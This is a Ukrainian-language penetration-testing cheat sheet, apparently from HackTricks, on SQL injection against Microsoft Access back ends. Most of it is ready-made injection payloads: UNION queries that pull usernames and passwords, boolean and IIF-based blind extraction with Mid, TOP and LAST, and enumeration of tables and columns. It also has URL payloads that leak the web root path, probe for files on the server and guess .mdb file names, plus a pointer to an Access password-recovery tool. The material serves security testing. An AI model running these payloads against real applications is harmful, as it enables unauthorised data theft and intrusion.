MS Access SQL Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Онлайн пісочниця

Обмеження бази даних

Об'єднання рядків

Об'єднання рядків можливе за допомогою символів & (%26) та + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Коментарі

У MS Access немає коментарів, але, здається, можна видалити останній запит за допомогою символу NULL:

1' union select 1,2 from table%00

Якщо це не працює, завжди можна виправити синтаксис запиту:

1' UNION SELECT 1,2 FROM table WHERE ''='

Запити зі стеком

Вони не підтримуються.

LIMIT

Оператор LIMIT не реалізований. Однак можливо обмежити результати запиту SELECT до перших N рядків таблиці, використовуючи оператор TOP. TOP приймає як аргумент ціле число, що представляє кількість рядків, які повернуться.

1' UNION SELECT TOP 3 attr FROM table%00

Точно як TOP, ви можете використовувати LAST, який отримає рядки з кінця.

UNION Запити/Підзапити

У SQLi ви зазвичай захочете якимось чином виконати новий запит для витягування інформації з інших таблиць. MS Access завжди вимагає, щоб в підзапитах або додаткових запитах було вказано FROM. Таким чином, якщо ви хочете виконати UNION SELECT або UNION ALL SELECT або SELECT у дужках у умові, вам завжди потрібно вказати FROM з дійсною назвою таблиці. Отже, вам потрібно знати дійсну назву таблиці.

-1' UNION SELECT username,password from users%00

Ланцюжок рівності + Підстрока

Це дозволить вам витягти значення поточної таблиці, не потрібно знати назву таблиці.

MS Access дозволяє дивну синтаксичну конструкцію, таку як '1'=2='3'='asd'=false. Зазвичай SQL-ін'єкція буде в WHERE клозі, і ми можемо цим скористатися.

Уявіть, що у вас є SQLi в базі даних MS Access, і ви знаєте (або вгадали), що одне ім'я стовпця - це ім'я користувача, і це поле ви хочете ексфільтрувати. Ви можете перевірити різні відповіді веб-додатка, коли використовується техніка ланцюжка рівності, і потенційно ексфільтрувати вміст з булевою ін'єкцією, використовуючи функцію Mid для отримання підстрок.

'=(Mid(username,1,3)='adm')='

Якщо ви знаєте назву таблиці та стовпця, які потрібно витягнути, ви можете скористатися комбінацією Mid, LAST та TOP, щоб витягнути всю інформацію через булевий SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Не соромтеся перевірити це в онлайн-песочниці.

Перебір імен таблиць

Використовуючи метод ланцюжкового рівності, ви також можете провести перебір імен таблиць щось на зразок:

'=(select+top+1+'lala'+from+<table_name>)='

Ви також можете скористатися більш традиційним способом:

-1' AND (SELECT TOP 1 <table_name>)%00

Не соромтеся перевірити це на онлайн площадці.

Перебір назв стовпців

Ви можете перебирати поточні назви стовпців за допомогою трюку з ланцюжком рівностей:

'=column_name='

Або з group by:

-1' GROUP BY column_name%00

Або ви можете перебрати назви стовпців іншої таблиці за допомогою:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Витягання даних

Ми вже обговорювали техніку ланцюга рівностей для витягання даних з поточних та інших таблиць. Але є й інші способи:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

У кінцевому підсумку запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" у протилежному випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглядати лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекси MID та TOP, ми можемо витягнути вміст поля "ім'я користувача" для всіх рядків.

Заснований на часі

Перевірте https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Інші цікаві функції

  • Mid('admin',1,1) отримати підстроку з позиції 1 довжиною 1 (початкова позиція - 1)

  • LEN('1234') отримати довжину рядка

  • ASC('A') отримати ASCII значення символу

  • CHR(65) отримати рядок з ASCII значення

  • IIF(1=1,'a','b') якщо тоді

  • COUNT(*) Підрахувати кількість елементів

Перелік таблиць

З тут ви можете побачити запит для отримання назв таблиць:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Однак, слід зауважити, що дуже типово знаходити SQL-ін'єкції, де ви не маєте доступу для читання таблиці MSysObjects.

Доступ до файлової системи

Повний шлях до кореневого каталогу веб-сайту

Знання абсолютного шляху до кореневого каталогу веб-сайту може полегшити подальші атаки. Якщо помилки програми не повністю приховані, шлях каталогу можна виявити, спробувавши вибрати дані з неіснуючої бази даних.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access відповідає повідомленням про помилку, що містить повний шлях до каталогу веб-сайту.

Перелік файлів

Наступний вектор атаки можна використовувати для визначення наявності файлу на віддаленій файловій системі. Якщо вказаний файл існує, MS Access спричиняє повідомлення про помилку, повідомляючи, що формат бази даних недійсний:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Інший спосіб переліку файлів полягає в вказанні елемента бази даних. Якщо вказаний файл існує, MS Access відображає повідомлення про помилку формату бази даних.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Вгадування імені файлу .mdb

Ім'я файлу бази даних (.mdb) можна визначити за допомогою наступного запиту:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Де name[i] - це ім'я файлу .mdb, а realTable - це існуюча таблиця у базі даних. Хоча MS Access завжди спричиняє повідомлення про помилку, можна відрізнити недійсне ім'я файлу від дійсного .mdb імені.

Крекер паролів .mdb

Access PassView - це безкоштовна утиліта, яку можна використовувати для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0.

Посилання

Last updated